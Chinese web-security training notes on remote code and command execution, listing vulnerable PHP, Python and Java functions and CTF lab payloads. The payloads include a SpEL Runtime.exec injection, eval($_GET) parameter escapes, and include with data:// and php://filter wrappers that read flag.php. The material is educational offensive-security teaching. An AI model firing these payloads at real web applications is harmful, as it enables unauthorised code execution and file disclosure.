Web攻防-RCE&代码执行&命令执行&无回显方案&语言表达式&黑盒功能点&白盒方法名



#知识点：  
1、Web攻防-SQL注入-产生原理&应用因素  
2、Web攻防-SQL注入-各类数据库类型利用  
----------------------------------------------  
1、Web攻防-SQL注入-参数类型\*参数格式  
2、Web攻防-SQL注入-XML&JSON&BASE64等  
3、Web攻防-SQL注入-数字字符搜索等符号绕过  
----------------------------------------------  
1、Web攻防-SQL注入-操作方法&增删改查  
2、Web攻防-SQL注入-HTTP头&UA&Cookie  
3、Web攻防-SQL注入-HTTP头&XFF&Referer  
----------------------------------------------  
1、Web攻防-SQL注入-操作方法&增删改查  
2、Web攻防-SQL注入-布尔&延时&报错&盲注  
----------------------------------------------  
1、Web攻防-SQL注入-高权限用户差异  
2、Web攻防-SQL注入-跨库&文件读写带外  
----------------------------------------------  
1、Web攻防-SQL注入-堆叠&二次注入  
2、Web攻防-SQL注入-SQLMAP进阶使用  
----------------------------------------------  
1、Web攻防-XSS跨站-原理&分类&利用点  
2、Web攻防-XSS跨站-反射&存储&DOM型  
----------------------------------------------  
1、Web攻防-XSS跨站-文件类型-html&pdf&swf&svg  
2、Web攻防-XSS跨站-功能逻辑-postMessage&localStorage  
----------------------------------------------  
1、Web攻防-XSS跨站-浏览器&转换-UXSS&MXSS  
2、Web攻防-XSS跨站-框架和库-VUE&React&Electron&JQuery  
----------------------------------------------  
1、Web攻防-XSS跨站-手工代码&框架工具&在线平台  
2、Web攻防-XSS跨站-Cookie盗取&数据提交&网络钓鱼  
----------------------------------------------  
1、Web攻防-XSS跨站-安全防护&CSP&Httponly&WAF等  
2、Web攻防-XSS跨站-工具项目&XSStrike&Chypass\_pro  
----------------------------------------------  
1、Web攻防-CSRF-原理&检测&利用&防御  
2、Web攻防-CSRF-防御-Referer策略隐患  
3、Web攻防-CSRF-防御-Token校验策略隐患  
----------------------------------------------  
1、WEB攻防-SSRF利用绕过-伪协议&IP及域名  
2、WEB攻防-SSRF挖掘思路-功能逻辑&SRC复盘  
----------------------------------------------  
1、WEB攻防-SSRF插件结合-SRC复盘与实战  
----------------------------------------------  
1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等  
2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等  
----------------------------------------------  
1、WEB攻防-文件上传-思维导图形成  
2、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器  
----------------------------------------------  
1、WEB攻防-文件包含-LFI&RFI利用思路  
2、WEB攻防-文件上传-伪协议玩法&无文件  
3、WEB攻防-文件上传-黑白盒案例&SRC复盘  
----------------------------------------------  
1、WEB攻防-文件下载&读取&删除-功能点&URL  
2、WEB攻防-目录遍历&泄露\*穿越-功能点&URL  
----------------------------------------------  
1、WEB攻防-XML&XXE-注入原理&四大分类  
2、WEB攻防-XML&XXE-文件读取&SSRF&实体引用  
3、WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路  
----------------------------------------------  
1、WEB攻防-XML&XXE-黑盒功能点挖掘  
2、WEB攻防-XML&XXE-白盒函数点挖掘  
----------------------------------------------  
1、WEB攻防-RCE-代码执行&命令执行  
2、WEB攻防-RCE-黑盒功能点&数据包  
3、WEB攻防-RCE-白盒函数方法&组件  
   
#章节点：(待补充)  
OWTOP10，SQL注入，文件安全（上传,下载,读取,删除,包含等），目录遍历，  
CSRF，SSRF，CRLF，SSTI注入，XML&XXE安全，RCE执行（代码或命令等）  
反序列化，业务逻辑（验证码，接口枚举，支付购买，机制验证，越权，并发等）  
未授权访问，失效访问控制，弱口令安全，第三方组件安全，CORS，JSONP等



演示案例：

* WEB攻防-RCE-代码执行&命令执行
* WEB攻防-RCE-回显&功能点&引发链

-RCE代码执行：引用脚本代码解析执行  
-RCE命令执行：脚本调用操作系统命令  
漏洞函数：  
1.PHP：  
PHP代码执行函数：  
eval()、assert()、preg\_replace()、create\_function()、array\_map()、call\_user\_func()、call\_user\_func\_array()、array\_filter()、uasort()、等  
PHP命令执行函数：  
system()、exec()、shell\_exec()、pcntl\_exec()、popen()、proc\_popen()、passthru()、等  
2.Python：  
eval exec subprocess os.system commands等  
3.Java：  
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数，但是有反射机制，并且有各种基于反射机制的表达式引擎，如: OGNL、SpEL、MVEL等.  
   
#RCE-代码执行  
功能点举例：在线编程  
   
#RCE-命令执行  
功能点举例：系统面板  
   
#RCE-Java&PHP  
SPEL：（功能点举例：评论解析）  
comment=T(java.lang.Runtime).getRuntime().exec('calc')  
   
#其他漏洞引发链  
注入，文件包含，文件上传，反序列化等引发  
   
#有回显&无回显  
1、直接写个文件访问查看  
2、直接进行对外访问接受  
   
#黑盒案例  
代码在线运行平台测试  
   
#白盒CTF  
29-通配符  
system('tac fla\*.php');  
30-取代函数&通配符&管道符  
`cp fla\*.ph\* 2.txt`;  
echo shell\_exec('tac fla\*.ph\*');  
31-参数逃逸  
eval($\_GET[1]);&1=system('tac flag.php');  
32~36-配合包含&伪协议  
include$\_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>  
include$\_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php  
37~39-包含RCE&伪协议&通配符  
data://text/plain,<?php system('tac fla\*');?>  
php://input post:<?php system('tac flag.php');?>

涉及资源：[资源下载地址](https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr)